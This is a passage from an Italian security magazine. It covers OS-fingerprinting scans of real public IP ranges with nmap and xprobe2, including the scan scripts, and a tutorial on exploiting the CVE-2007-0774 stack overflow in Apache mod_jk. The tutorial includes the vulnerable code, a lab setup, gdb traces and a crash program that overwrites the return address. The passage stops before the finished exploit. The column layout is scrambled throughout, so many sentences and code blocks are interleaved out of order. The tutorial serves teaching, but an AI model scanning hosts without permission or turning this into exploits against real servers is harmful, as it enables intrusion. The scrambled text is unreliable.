grep (ovvero tutte le informazioni ricavate per ciascun
indirizzo IP vengono memorizzate sulla stessa riga).
211.157.0-10.*
rappresenta uno dei range IP
scelto per il sondaggio (nell'esempio da 211.157.0.0 a
211.157.10.255).
Dall'output generato con nmap è stata poi
successivamente ricavata la lista degli indirizzi IP attivi,
sgrondandolo delle informazioni inutili:
# cut -d " " -f 2 IP_active_asia.txt |
grep –v Nmap > asia_list1
La parte del comando prima del pipe (|) serve a
stampare per ogni riga di testo presente nel file
IP_active_asia.txt il contenuto della seconda
colonna separato dal delimitatore spazio. L'altra parte
del comando rimuove invece dall'output scritto nel file
asia_list1 la stringa “Nmap”. Ciò è sufficiente per
Come è stato selezionato il campione di IP per il
test?
generare una lista di IP attivi utilizzabile come input
delle fasi successive.
Il range di indirizzi IP da testare è stato determinato
consultando l'attuale lista dei blocchi di assegnazione
IPv4 dal sito dello IANA[11]. Per semplicità i blocchi
contraddistinti dalla dicitura “Various Registries”
Una volta determinati strumenti da utilizzare e
campione da sondare, come è stato svolto il test?
Per le scansioni con xprobe2 è stato utilizzato il
seguente script bash:
sono stati scartati. Il range limitato di IP costituente il
campione sondato è stato invece selezionato a partire
dai blocchi esclusivamente assegnati ad uno dei tre
registri facenti capo all'area Europea, Asiatica e delle
Americhe (rispettivamente RIPE, APNIC ed ARIN). Per
ciascuno di questi tre comparti territoriali è stato
effettuato uno Sweep Scan con Nmap per identificare
gli host attivi nel range:
#!/bin/sh
IPS=`cat $1`
for i in $IPS
do
xprobe2 $i -M 6 -M 7 -M 8 -M 9 -M 10 >>
$2_xprobe2_fingerprint.txt
11
focus on
LINUX
KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
degli host (la lista è infatti composta da IP già identificati
come attivi).
done
che eseguito nel modo di seguito indicato:
-O
# chmod +x script
# ./script IP_active_asia.txt asia
Attiva la modalità TCP Fingerprint
A questo punto terminata la raccolta dei dati, gli stessi
sono stati esaminati e sviluppati fino a giungere alle
percentuali allegate in Tabella 2. Lasciamo comunque al
lettore il compito di sperimentare per conto proprio
questa fase. Inviateci le vostre statistiche all'indirizzo
[email protected] in formato html o pdf,
possibilmente corredate da grafici e/o tabelle, assieme
agli strumenti o agli script che avete creato per
generarle. I migliori lavori prodotti verranno condivisi sul
nostro sito Internet o pubblicati direttamente sulla nostra
rivista!
genera un unico file denominato
asia_xprobe2_fingerprint.txt in cui viene
scritto tutto l'output di xprobe2.
Per le scansioni con nmap l'intera attività è invece stata
svolta in modo più semplice utilizzando direttamente la
lista degli indirizzi IP ricavata nella fase precedente:
# nmap -iL IP_active_asia.txt -n -P0 -O
-oN asia_nmap_fingerprint.txt
Dove:
-iL
Indica ad nmap di prelevare gli indirizzi IP da
sondare direttamente
IP_active_asia.txt.
-P0
[9] http:///www.sys-security.com
[10] http://www.insecure.org
[11] http://www.iana.org/assignments/ipv4-address-space - Da
Wikipedia: L'Internet Assigned Numbers Authority è un
organismo che ha responsabilità nell'assegnazione degli
indirizzi IP.
dal
file
lista
Salta i test per verificare l'effettiva raggiungibilità
Per migliorare i risultati delle tue statistiche accedi ai contenuti messi a disposizione dalla redazione su
http://www.segfault.it/SS/001/stats/pack.tar.gz
F ed ora C ore
5 /6 /7
U b u n t u 6 .1 0
U b u n t u 7 .0 4
O p e n S u S E 1 0 .2
S la c k w a r e 1 2
D e b ia n 4 .0 r1
M a n d r iv a F r e e
2 0 0 7 .1
N X P a tc h
(e m u la z io n e
s o ftw a re )
A SLR
(E x e c S h ie ld )
(E x e c S h ie ld )
SSP
F O R T IF Y
SO U R C E
[* ]
[* * ]
[* ][* * * ]
[* ][* * * ]
[* ]
[* * ]
[* ]
[* * ]
Tabella 1: Riepilogo schematizzato delle funzionalità di sicurezza implementate di default su piattaforma x86 dalle principali distribuzioni
Linux esistenti.
[*] Tutti i package di sistema più importanti forniti con la distribuzione sono compilati di default con -fstack-protector
[**] Tutti i package di sistema più importanti forniti con la distribuzioni sono compilati di default con -D_FORTIFY_SOURCE=1 e/o 2
[***] Durante la compilazione di qualsiasi sorgente l'opzione -fstack-protector è implicitamente attiva.
Centro Europa (RIPE)
Cina (Asia – APNIC)
Stati Uniti (America -ARIN)
kernel 2.2
kernel 2.4
kernel 2.6
1,3%
23,38%
2,22%
37,81%
37,76%
57,03%
60,89%
38,96%
40,75%
Tabella 2: Diffusione degli ultimi tre branch stabili del kernel Linux su un campione di 1000 sistemi sondati
12
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
L
o stack overflow è uno degli errori di
programmazione più “antichi” ed allo stesso
tempo ancora oggi più comuni. Secondo un
rapporto del CWE[1] che studia le falle ricorrenti
osservate nel software durante il quinquennio 20012006, la categoria degli overflow ha mantenuto fino
al 2005 la prima posizione, ovvero fino a quando le
vulnerabilità web di tipo XSS non sono letteralmente
esplose in tutto il mondo (un avvento paragonabile in
termini di diffusione a quello dei format string
overflow[2] avvenuto tra il 1999 ed il 2000 ma
destinato, secondo gli esperti, a perdurare
maggiormente nel tempo). Come conseguenza di
questo evento, le problematiche legate ai buffer
overflow sono passate in seconda posizione in
termini di frequenza anche se ancora oggi si stima
che la loro diffusione sia maggiore di altre
vulnerabilità molto in voga come quelle di tipo SQL
Injection o File Inclusion, a dispetto del crescente
interessamento verso la sicurezza Web manifestato
di recente da penetration tester e bug hunter. Nella
lunga lista delle vulnerabilità correlabili alla categoria
dei buffer overflow quelli che si manifestano nello
stack rimangono certamente i più comuni, pur la loro
longevità risalibile nel tempo al famoso Morris
worm[3]. Non a caso su siti come securityfocus[4]
vengono giornalmente pubblicati bollettini che
dettagliano problematiche software del genere.
Poiché alcuni degli argomenti che tratteremo in futuro
o in questo stesso numero della rivista necessitano di
conoscenze basilari di cosa è, ma soprattutto di come
opera uno stack, quella che segue è una trattazione
dei principali concetti relativi a questo tema.
Successivamente verrà proposto un esempio reale e
recente di vulnerabilità collocabile nella categoria
degli stack overflow. Per meglio comprendere le
parti che seguono sono comunque vivamente
consigliate delle conoscenze anche minime di
programmazione in C e/o C++.
programma. Ciascuna funzione che necessita di
argomenti crea solitamente un suo stack frame,
un'area dedicata nella quale colloca le proprie
strutture dati e che viene puntata dal registro EBP
(detto anche Base Pointer o più comunemente
Frame Pointer). Questo indirizzo[5] rimane costante
lungo tutta l'esecuzione della funzione per
permettere al processore di localizzare in modo
preciso le variabili o le zone di memoria di interesse,
al contrario del registro ESP (lo Stack Pointer) che
come dice lo stesso nome, punta invece
costantemente alla parte attiva dello stack che è
soggetta a continue variazioni a seguito delle
operazioni di inserimento/rimozione dei dati
(push/pop) o di sottrazione/addizione (sub/add),
queste ultime utilizzate solitamente per fare spazio
alle variabili locali e ripristinare gli stack frame di
competenza delle funzioni chiamanti.
Simulazione teorica
L'esecuzione di un'applicazione scritta in C/C++
parte dal blocco main() e si dirama via via verso le
altre funzioni necessarie al corretto espletamento
delle attività applicative.
[1] http://cwe.mitre.org/documents/vuln-trends/index.html: Il sito
ospita un database che cataloga le vulnerabilità in base alla loro
tipologia e ne studia la diffusione per categoria (non per singolo
bug).
[2] In termini di diffusione i format string overflow hanno avuto
un picco repentino che è andato però velocemente scemando.
[3] Robert Tappen Morris, ora professore al Massachusetts
Institute of Technology, fu l'artefice il 2 Novembre del 1988 del
primo worm mai affacciatosi su Internet. All'epoca studente della
Cornell University, progettò il worm a scopo statistico per
determinare l'estensione dell'allora neonata rete, ma la rapidità
con cui si diffuse e le modalità di infezione causarono il blocco
indesiderato di migliaia di sistemi. Il worm sfruttava diverse falle
conosciute tra le quali uno stack overflow nel demone fingerd.
Tutta la storia ed il codice del worm possono essere consultati al
seguente indirizzo http://www.morrisworm.com.
Lo Stack in pillole su architettura hardware x86
[4] http://www.securityfocus.com
Lo stack è una regione di memoria in cui le
applicazioni depositano il contenuto delle variabili, i
parametri passati alle funzioni o i puntatori che
permettono di raggiungere punti nevralgici del
[5] Un indirizzo è un valore rappresentato in forma esadecimale
che nell'architettura hardware x86 ha la dimensione di 4 byte.
Indica un punto ben preciso in memoria. Un esempio di
indirizzo è 0xbfffee00.
13
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
Quando una funzione viene invocata, il programma
solitamente esegue le seguenti operazioni base
(supponiamo che dal main() venga chiamata la
[…]
e ritorna al blocco main():
[…]
0x080488c1 <xxx+86>: ret
[…]
funzione xxx):
1) dal blocco main() il programma colloca nello stack
L’istruzione “ret” preleva dalla posizione attuale
dello stack (ovvero l'indirizzo puntato dallo Stack
Pointer) i primi 4 byte in memoria. Questi
rappresentano l'indirizzo di ritorno inserito dalla
istruzione call durante il punto 2.
(o nei registri del processore) i dati o gli indirizzi di
memoria in cui essi risiedono che verranno
utilizzati dalla funzione xxx come argomenti;
2) sempre dal main() il programma invoca con
l'istruzione call la funzione xxx . Questa
istruzione posiziona nello stack il cosiddetto
indirizzo di ritorno (4 byte) che verrà utilizzato dal
processore per ritornare al blocco main() (ovvero
all'istruzione subito successiva alla call) quando
la funzione xxx avrà terminato lo svolgimento dei
suoi compiti.
[…]
<main+446>: call
[…]
Adesso si è nuovamente sul main() e l'esecuzione del
programma riprende da dove era stata originariamente
deviata.
Come si manifesta uno stack overflow nei sistemi
privi di tecnologie anti overflow
Un overflow nello stack si manifesta nell'esatto
momento in cui l'applicazione prova a memorizzare i
dati provenienti da input utente in un buffer troppo
piccolo per contenerli. Questa circostanza non causa
l'interruzione immediata del programma come ci si
aspetterebbe, bensì i dati in eccesso continuano ad
essere scritti nello stack, modificando le strutture ed i
puntatori allocati. Fra questi, l'alterazione
dell'indirizzo di ritorno è lo scopo ultimo dell'attacco.
Il raggiungimento di questo obiettivo consente di
redirezionare il flusso di esecuzione dell'applicazione
verso un qualsiasi punto in memoria, ad esempio uno
shellcode[6] precedentemente posizionato nello stack
come parte del buffer sovrascritto.
0x804886b <xxx>
A questo punto l'esecuzione del programma continua
dalla funzione xxx:
3) la funzione xxx crea il suo stack frame in tre step.
Dapprima salva nello stack l'indirizzo del frame
attuale[*], poi rende l'indirizzo puntato dal registro
ESP il frame corrente copiandolo in EBP[**], infine
fa spazio per le eventuali variabili locali [***]
(istruzione sub sul valore puntato dal registro
Pratica con CVE-2007-0774[7]
ESP):
La teoria è inutile se poi non può essere messa in
pratica! Invece di dimostrare come uno stack overflow
può essere abusato su un banale codice di esempio di
poche righe, analizziamo un'applicazione reale.
0x0804886b <xxx>:
push %ebp
0x0804886c <xxx+1>: mov %esp,%ebp
[***]0x0804886e <xxx+3>: sub
$0x118,%esp
[…]
[*]
[**]
[6] uno shellcode è la rappresentazione (spesso in formato
esadecimale) di istruzioni del linguaggio macchina, i cui contenuti se
collocati in aree di memoria non limitate, vengono appositamente
eseguiti dal processore. Il suo scopo è solitamente quello di aprire
un canale di accesso remoto.
4) la funzione xxx svolge le sue operazioni…
5) al termine, ripristina lo stack frame precedente di
competenza del main() (solitamente un'istruzione
[7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-20070774: Il CVE (Common Vulnerabilities and Exposures) fa parte di
un'iniziativa fondata dal dipartimento della sicurezza statunitense
volta a standardizzare, con un codice identificativo univoco, le
singole vulnerabilità conosciute per il software in circolazione.
add sul valore puntato dal registro ESP):
[…]
0x0804886e <xxx+73>: add
$0x118,%esp
14
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
La falla software in questione, resa pubblica lo scorso
marzo, risiede in alcune versioni di Mod_jk, un
modulo di Apache che permette al web server di
comunicare con il servlet engine Jakarta Tomcat per
la divulgazione di applicazioni web dinamiche.
Stando alle informazioni diramate con il bollettino
ZDI-07-008[8], le versioni 1.2.19 e 1.2.20 del modulo
sono soggette ad un'overflow che si manifesta nello
stack. Potendo disporre direttamente dei sorgenti[9] si
può in questo caso analizzarli per identificare l'esatto
punto in cui gli sviluppatori hanno commesso l'errore.
Queste informazioni ci saranno utili per creare in
seguito un exploit remoto funzionante.
ciclo giunge al byte di terminazione della prima stringa
( strlen(uri) ) fornita dall'utente. Se questa stringa è
più grande di JK_MAX_URI_LEN (ovvero superiore in
dimensioni ai 4096 byte), il buffer url
completamente saturato ed i dati in eccesso
continuano ad essere scritti nello stack fino a
raggiungere il return address.
COME È STATO RISOLTO IL BUG NELLE VERSIONI
DI MOD_JK SUPERIORI ALLA 1.2.20?
Diamo più da vicino uno sguardo a come è stata
modificata la funzione vulnerabile nella versione
1.2.25[10] del modulo (l'ultima disponibile nel momento
in cui si scrive):
[…]
for (i = 0; i < strlen(uri); i++) {
if (i == JK_MAX_URI_LEN) {
jk_log(l, JK_LOG_WARNING,
"Uri %s is invalid. Uri must be
smaller then %d chars",
uri, JK_MAX_URI_LEN);
JK_TRACE_EXIT(l);
return NULL;
}
if (uri[i] == ';')
break;
else {
url[i] = uri[i];
[…]
}
}
url[i] = '\0';
La vulnerabilità
La funzione vulnerabile è map_uri_to_worker()
che risiede dentro il file jk_uri_worker_map.c nella
directory native/common. Nella versione 1.2.20 dei
sorgenti del modulo, dopo una serie di controlli
formali, il contenuto di uri (un const char *
proveniente da input utente
e passato come
argomento alla funzione) viene travasato byte per
byte nella variabile locale url attraverso un ciclo for.
La variabile url è definita all'inizio di
map_uri_to_worker() come un array di caratteri
che può contenere al massimo JK_MAX_URI_LEN
byte +1. A sua volta JK_MAX_URI_LEN viene definito
all'interno del file jk_uri_worker_map.h con:
#define JK_MAX_URI_LEN
viene
Gli sviluppatori hanno incluso un nuovo blocco
condizionale (if) che controlla il valore raggiunto dalla
variabile numerica “i” (la posizione attuale del byte di
uri che deve essere copiato in url) con
JK_MAX_URI_LEN (la dimensione massima accettata
per l'input utente). Nel caso in cui “i” fosse uguale a
“4095”, nei log generati dal modulo verrebbe scritto un
messaggio di avviso relativo all'errore e
map_uri_to_worker()
ritornerebbe
immediatamente alla funzione chiamante, evitando di
generare uno stack overflow.
4095
Ciò significa che url può contenere al massimo una
stringa di 4096 byte. La copia da un buffer all'altro
viene gestita dal codice che segue:
for (i = 0; i < strlen(uri); i++)
if (uri[i] == ';')
break;
else
url[i] = uri[i];
url[i] = '\0';
[8] http://www.zerodayinitiative.com/advisories/ZDI-07-008.html
[9] http://archive.apache.org/dist/tomcat/tomcatconnectors/jk/source/jk-1.2.20/
L'errore risiede proprio in questo blocco. La copia del
contenuto di uri in url termina solamente quando il
[10] http://archive.apache.org/dist/tomcat/tomcatconnectors/jk/source/jk-1.2.25/
15
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
Creare un exploit funzionante
in ogni circostanza). Nel nostro caso ciò significa
installare e configurare Apache, installare Jakarta
Tomcat ed il connettore mod_jk. Questi step
vengono descritti in dettaglio nell'apposito box qui
sotto. Prima di proseguire nella lettura dell'articolo, è
bene accertarsi quindi di aver portato a termine tutte
le procedure lì descritte.
Per evitare di scontrarsi con una qualsiasi delle
tecnologie anti overflow presenti nelle recenti
versioni di Linux e comprendere come un vanilla
stack overflow può essere sfruttato con successo, è
buona norma per il momento fare pratica con una
distribuzione del pinguino completamente sprovvista
di questo genere di misure di protezione (soprattutto
se questo è il vostro primo hack). Per i nostri test
abbiamo deciso di utilizzare una Red Hat 7.2[11]
installata all'interno di una istanza VMWare. Prima di
introdurre le operazioni che porteranno alla
creazione di un exploit remoto è naturalmente
necessario predisporre l'ambiente di test (questo vale
[11] Le due ISO di “enigma” (nome in codice per Red Hat 7.2)
non sono più ufficialmente fornite da Red Hat ma possono
essere ancora prelevate da svariati siti come
http://redhat.lsu.edu/dist/7.2/iso/ oppure
http://xfiles.erin.utoronto.ca/pub/unix/redhat/7.2/en/iso/i386/
PREDISPORRE L'AMBIENTE DI TEST PER LA VULNERABILITÀ CVE-2007-0774
Attenzione: le configurazioni che seguono sono volte esclusivamente a creare un ambiente di test privato e non sono
pertanto indicate per configurare un sistema di produzione. Gli amministratori di sistema che dalle seguenti linee guida
vorranno trarre degli spunti per configurare uno o più server che offrono servizi online, devono comprendere che essi
necessiteranno della definizione di permessi più accorti di quelli menzionati e riportati qui sotto.
Installare Apache
Il primo passo da compiere è installare Apache. Per semplificare questo task è sufficiente utilizzare la versione già fornita
con Red Hat 7.2. In fase di installazione della distribuzione si seleziona un deployment di tipo Custom e tra le funzionalità a
cui il sistema sarà adibito si sceglie Web Server. E' fondamentale selezionare anche il gruppo di pacchetti relativo agli
strumenti di sviluppo software.
Installare JSDK
L'unico requisito di Jakarta Tomcat è il Java Development Kit (JDK)[12]. La versione fornita è autoestraente. Dopo averla
collocata nel punto desiderato del filesystem, è sufficiente (da utente root) digitare:
# chmod +x j2sdk-1_4_2_15-linux-i586.bin
# ./j2sdk-1_4_2_15-linux-i586.bin
La directory estratta deve essere poi spostata in /usr/java:
# mkdir /usr/java
# mv j2sdk1.4.2_15 /usr/java
Successivamente va modificato il file /etc/profile aggiungendo le seguente righe:
# JAVA_HOME=”/usr/java/j2sdk1.4.2_15”
# export JAVA_HOME
16
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
Si salva il file e si digita da shell:
# . /etc/profile
Così facendo la variabile d'ambiente JAVA_HOME verrà immediatamente creata nel proprio contesto e non sarà necessario
riloggarsi al sistema.
Creare gli account utente
Si procede adesso alla creazione di un utente e di un gruppo dedicato per le applicazioni Web dinamiche e statiche che
gireranno per mezzo di Tomcat ed Apache:
# groupadd wwwsite
# useradd –g wwwsite wwwsite
Installare Tomcat
Si decomprime la versione 5.0.28 di Tomcat[12]:
# tar xvfz jakarta-tomcat-5.0.28.tar.gz
La directory estratta viene spostata in /usr/local:
# mv jakarta-tomcat-5.0.28 /usr/local
Si modificano il gruppo e l'utente owner di questa directory:
# chown –R wwwsite.wwwsite /usr/local/jakarta-tomcat-5.0.28
A questo punto si è pronti per lanciare il servizio:
# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh
Per testare se Tomcat sta funzionando è sufficiente aprire il browser, digitare “http://ip_del_server:8080” e verificare la
corretta visualizzazione della pagina di benvenuto con alla sinistra alcuni link che puntano a documentazione e codice di
esempio. Lanciare alcuni dei codici di esempio cliccandoci semplicemente sopra. Dopo aver accertato il loro
funzionamento è possibile fermare il servizio:
# ./shutdown.sh
Installare il connettore mod_jk
Si decomprime la versione 1.2.20 del tomcat-connectors[12] (il modulo mod_jk che prende le richieste degli utenti che
pervengono ad Apache e le rigira a Tomcat) nel punto desiderato del filesystem:
# tar xvfz tomcat-connectors-1.2.20-src.tar.gz
Si compila il pacchetto:
17
look at
#
#
#
#
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
cd ./tomcat-connectors-1.2.20-src/native
./buildconf.sh
./configure –-with-apxs=/usr/sbin/apxs
make
Al termine di questa procedura il modulo creato deve essere spostato nella directory in cui risiedono tutti i moduli di Apache:
# cd ./apache-1.3
# cp mod_jk.so.0.0.0 /etc/httpd/modules/mod_jk.so
Creare il tree di directory
A questo punto si crea l'albero delle directory in cui risiederanno in seguito una pagina di esempio statica (in HTML classico)
ed una dinamica (scritta in JSP):
#
#
#
#
#
mkdir
mkdir
mkdir
mkdir
mkdir
/home/wwwsite/webapps/test.com
/home/wwwsite/webapps/test.com/logs
/home/wwwsite/webapps/test.com/test
/home/wwwsite/webapps/test.com/test/WEB-INF
/home/wwwsite/webapps/test.com/test/WEB-INF/classes
Vanno quindi impostati i relativi permessi:
# chmod 755 /home/wwwsite/webapps
# chmod 755 /home/wwwsite/webapps/test.com
# chmod 755 /home/wwwsite/webapps/test.com/test
Configurare Tomcat
Siamo così giunti alla fase della configurazione dei servizi. Il primo step per Tomcat consiste nel definire in che modo il
modulo mod_jk potrà comunicare con il servlet engine. Queste informazioni sono contenute nel file
workers.properties che dovrà essere collocato nella directory /etc/httpd/conf:
# workers.properties - ajp13
#
# List workers
worker.list=wrkr
#
# Define wrkr
worker.wrkr.port=8009
worker.wrkr.host=localhost
worker.wrkr.type=ajp13
worker.wrkr.socket_timeout=300
In questo caso il modulo Apache invierà le richieste degli utenti sulla porta TCP 8009 dell'interfaccia locale localhost
(127.0.0.1) in cui starà in ascolto Tomcat. Il forward verrà espletato attraverso il protocollo Ajpv 13 su canale TCP/IP.
18
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
Il secondo file di configurazione è invece server.xml che va collocato in /usr/local/jakarta-tomcat5.0.28/conf/. Nel nostro caso quello esistente può essere tranquillamente sovrascritto:
<Server port="8005" shutdown="test" debug="0">
<Service name="Tomcat-Apache">
<Connector address="127.0.0.1"
port="8009"
minProcessors="5"
maxProcessors="75"
enableLookups="false"
protocol="AJP/1.3"
debug="0"/>
<Engine name="appserver"
debug="0"
defaultHost="test.com">
<Host name="test.com"
appBase="/home/wwwsite/webapps"
autoDeploy="false"
deployOnStartup="false"
unpackWARs="false"
deployXML="true"
debug="0"/>
</Engine>
</Service>
</Server>
Qui in pratica vengono definite le porte TCP in cui Tomcat starà in ascolto (8005 per la ricezione del segnale di stop del
servizio ed 8009 per ricevere e soddisfare le richieste provenienti da Apache). Viene inoltre definito un host virtuale
test.com e la locazione nel disco in cui le pagine del sito risiedono (direttive “Host name” ed “appBase”).
Il terzo ed ultimo file di configurazione per Tomcat va collocato all'interno di un nuovo tree di directory:
# mkdir –p /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.com
# touch /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.xml
Il file test.xml va infine popolato con le seguenti direttive:
<Context path=""
docBase="test.com/test"
reloadable="true"
debug="0"/>
Configurare Apache
Il file di configurazione di apache (/etc/httpd/conf/httpd.conf) consta di tre aree appositamente marcate al suo
interno come:
19
look at
1.
2.
3.
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
Global Environment
Main Server Configuration
Virtual Hosts
Ciascuna di queste deve essere opportunamente modificata. Nella sezione Global Environment, subito dopo i punti in cui
vengono caricati i moduli mod_dir.so e mod_cgi.so, si devono aggiungere le direttive:
LoadModule jk_module modules/mod_jk.so
AddModule mod_jk.c
All'inizio della sezione Main Server Configuration risiedono poi le direttive User e Group che indicano sotto quale utente
e gruppo i processi figli di Apache devono essere eseguiti. Vanno modificate nel seguente modo:
User wwwsite
Group wwwsite
Nella parte bassa della stessa sezione vanno inoltre aggiunte queste altre direttive:
JkWorkersFile "/etc/httpd/conf/workers.properties"
JkLogFile "/etc/httpd/logs/mod_jk.log"
JkLogLevel info
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
Infine la sezione Virtual Hosts deve così essere modificata:
NameVirtualHost 192.168.1.1:80
<VirtualHost 192.168.1.1:80>
ServerAdmin [email protected]
ServerName www.test.com
DocumentRoot /home/wwwsite/webapps/test.com/test
ErrorLog /home/wwwsite/webapps/test.com/logs/error_log
CustomLog /home/wwwsite/webapps/test.com/logs/access_log common
JkMount /*.jsp wrkr
JkMount /servlet/* wrkr
# Nega l'accesso diretto a to WEB-INF
<LocationMatch ".*WEB-INF.*">
AllowOverride None
deny from all
</LocationMatch>
</VirtualHost>
In questo caso 192.168.1.1 è l'indirizzo IP di una delle interfacce di rete della macchina utilizzata come web server di
test. Ovviamente questa informazione va modificata secondo la vostra attuale configurazione di rete.
Ultime impostazioni
A questo punto si è giunti al completamento della configurazione. Una volta copiati i due script di prova[12] index.html e
test.jsp nella directory /home/wwwsite/webapps/test.com/test e lanciati i servizi Tomcat ed Apache:
20
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh
# /etc/init.d/httpd start
puntate il browser sugli URL http://ip_del_server/ e http://ip_del_server/test.jsp. Se vengono visualizzate entrambe le
pagine l'ambiente di test sarà stato installato con successo. Adesso siete pronti per la parte più divertente: l'accertamento e
l'exploiting della vulnerabilità CVE-2007-0774.
[12] Per semplificare la predisposizione dell'ambiente di test abbiamo incluso in un unico package tutte le componenti necessarie
(sorgenti e file di configurazione). Il package può essere prelevato da http://www.seg-fault.net/SS/001/vanillab0f/all_pack.tar.gz
Fase 1: Determinare quanti byte sono necessari
per raggiungere il return address dal buffer
saturato
Nel secondo caso invece bisognerà identificare il
punto esatto interessato, ovvero appena prima che la
funzione ritorni:
Una volta predisposto l'ambiente di test e verificatone
il funzionamento, Apache è pronto per ricevere le
richieste dagli utenti. Prima di scrivere però l'exploit
vero e proprio è necessario tracciare il
comportamento del modulo mod_jk avviando una
sessione di debugging. In questo caso ci avvarremo di
gdb per agganciarci ad uno dei processi figli del web
server. Dapprima si determinano i relativi pid:
(gdb) disas map_uri_to_worker
---Type <return> to continue, or q
<return> to quit--[…]
0x403c3b70 <map_uri_to_worker+1376>: pop
%ebp
0x403c3b71 <map_uri_to_worker+1377>: ret
End of assembler dump.
(gdb) break *0x403c3b70 [**]
Breakpoint 2 at 0x403c3b70: file
jk_uri_worker_map.c, line 636.
# ps –uax | grep httpd | grep wwwsite
wwwsite 1616 0.0 3.3 46752 6468 ? S 06:14 0:00
/usr/sbin/httpd
wwwsite 1617 0.0 3.3 46752 6468 ? S 06:14 0:00
/usr/sbin/httpd
[…]
A questo punto si istruisce il processo che può
continuare normalmente la sua esecuzione:
(gdb) c
Continuing.
In questa circostanza si seleziona il primo e si procede
con la fase di attach indicando da linea di comando il
punto in cui risiede il file eseguibile dell'applicazione
oggetto del test ed il pid prescelto:
Adesso disponiamo di un ambiente pronto al
tracciamento di uno dei processi figli di Apache, ma
serve l'evento scatenante per ottenere le informazioni
su cui basarsi per costruire l'exploit. Questo evento è
semplicemente una richiesta tale che permetta
all'overflow di manifestarsi.
# gdb /usr/sbin/httpd 1616
Dopo aver attraversato la lista dei moduli caricati
(tasto Invio), si imposta un breakpoint[13] all'inizio[*] ed
uno subito prima dell'uscita[**] della funzione
vulnerabile. Il primo obiettivo è semplicemente
raggiungibile digitando dal prompt del gdb:
[13] Un breakpoint è un punto di arresto nel normale flusso di
esecuzione di un programma. Viene utilizzato nelle sessioni di
debugging per monitorare lo stato dei registri del processore o
delle aree di memoria di un'applicazione in un preciso momento
(nel nostro caso alcuni attimi prima del manifestarsi dello stack
overflow e poco prima del ritorno della funzione vulnerabile).
(gdb) break *map_uri_to_worker [*]
Breakpoint 1 at 0x403c3610: file
jk_uri_worker_map.c, line 536.
21
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
Sappiamo che il buffer che traboccherà (url) potrà
condizione descritta sopra. Al momento abbiamo
infatti messo sotto debugging solamente uno dei figli
di Apache (di default ne vengono caricati 8 in
un'installazione standard di Red Hat 7.2) e non è
detto che la prima richiesta HTTP inviata venga
gestita proprio dal processo che stiamo tracciando.
contenere al massimo 4096 byte, ma quanti byte
saranno necessari con esattezza per sovrascrivere
l'indirizzo di ritorno della funzione vulnerabile? Nel
nostro caso non si può disporre inizialmente di questa
informazione se non in modo approssimativo,
pertanto l'unica cosa logica da fare è inviare al web
server una richiesta più grande della dimensione del
buffer “url” ed analizzare cosa succede. L'evento
La prima interruzione momentanea del processo è
relativa al primo breakpoint. A questo punto
l'overflow non si è ancora manifestato in quanto
siamo nella fase iniziale di esecuzione della funzione
vulnerabile. Continuiamo quindi con il caricamento
dell'applicazione:
scatenante in questione sarà dunque generato dal
sorgente di test mostrato in Figura 1. Il codice è ben
commentato ma in sintesi si occupa di inviare una
richiesta HTTP con un URI[14] di 4128 byte (incluso il
carattere slash) che mira a mandare in crash il
processo debuggato. La parte più interessante del
sorgente è l'array di caratteri crash:
(gdb) c
Continuing.
Subito dopo aver lanciato il comando “c” nel prompt di
char crash [] =
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII";
gdb, la funzione map_uri_to_worker() esegue tutte
Dopo aver riempito con delle “A” per 4095 byte il
le istruzioni fino al secondo breakpoint, ovvero poco
prima del suo ritorno. In questo momento il buffer url
buffer buf (l'URI che verrà inviato come parte della
richiesta HTTP al web server), successivamente
viene copiato al suo interno il contenuto di crash (32
è già stato sovrascritto e dovrebbe aver alterato il
return address.. L'istruzione successiva al
breakpoint corrente è “ret”, ciò significa che il
byte). Il motivo di questa accortezza sarà evidente più
avanti, quando si avrà necessità di determinare con
esattezza quanti byte saranno necessari per
sovrascrivere il return address. Adesso compiliamo
ed eseguiamo l'applicazione:
processore prenderà i primi 4 byte che troverà nello
stack e continuerà l'esecuzione dell'applicazione da
quell'indirizzo. Diamo un breve sguardo a quale
indirizzo punta attualmente il registro ESP (lo Stack
Pointer):
$ gcc crash.c –o crash
$ ./crash ip_macchina_di_test 80
(gdb) p $esp
$1 = (void *) 0xbffff578
Nella finestra in cui è stata lanciata la sessione di
debugging dovrebbe quindi apparire a video un
messaggio simile al seguente:
Adesso osserviamo il contenuto dei prossimi 4 byte
che si trovano a partire da quest'area di memoria
(quelli che la successiva istruzione “ret” preleverà
dallo stack ed utilizzerà come indirizzo di ritorno):
[Switching to Thread 1024 (LWP 1616)]
Breakpoint 1, map_uri_to_worker
(uw_map=0x8174000, uri=0x817c0b8 "/", 'A'
<repeats 199 times>..., l=0x40412580) at
jk_uri_worker_map.c:536
(gdb) x/4bx $esp+4
0xbffff57c: 0x49 0x49 0x49 0x49
[14] Per URI si intende in questo caso la risorsa HTTP richiesta.
Ad esempio in http://10.10.10.10/index.html, l'URI è
Nel caso in cui ciò non fosse successo, lanciare
crash più volte fino a quando non si verifica la
rappresentato da “index.html”.
22
look at
LINUX
STACK OVERFLOW VANILLA: IL CASO MOD_JK
0x49494949 sarà quindi l'indirizzo che il processore
cresce verso indirizzi decrescenti e viceversa
decresce verso indirizzi crescenti, pertanto il buffer
“buf” si troverà in un indirizzo rappresentato da un
utilizzerà come return address per ritornare alla
funzione che ha precedentemente invocato
map_uri_to_worker() . La conversione da
valore più basso rispetto al return address, pur
trovandosi effettivamente prima nello stack. Questo
ad esempio è ciò che viene visualizzato a video
analizzando i 2000 byte successivi all'indirizzo
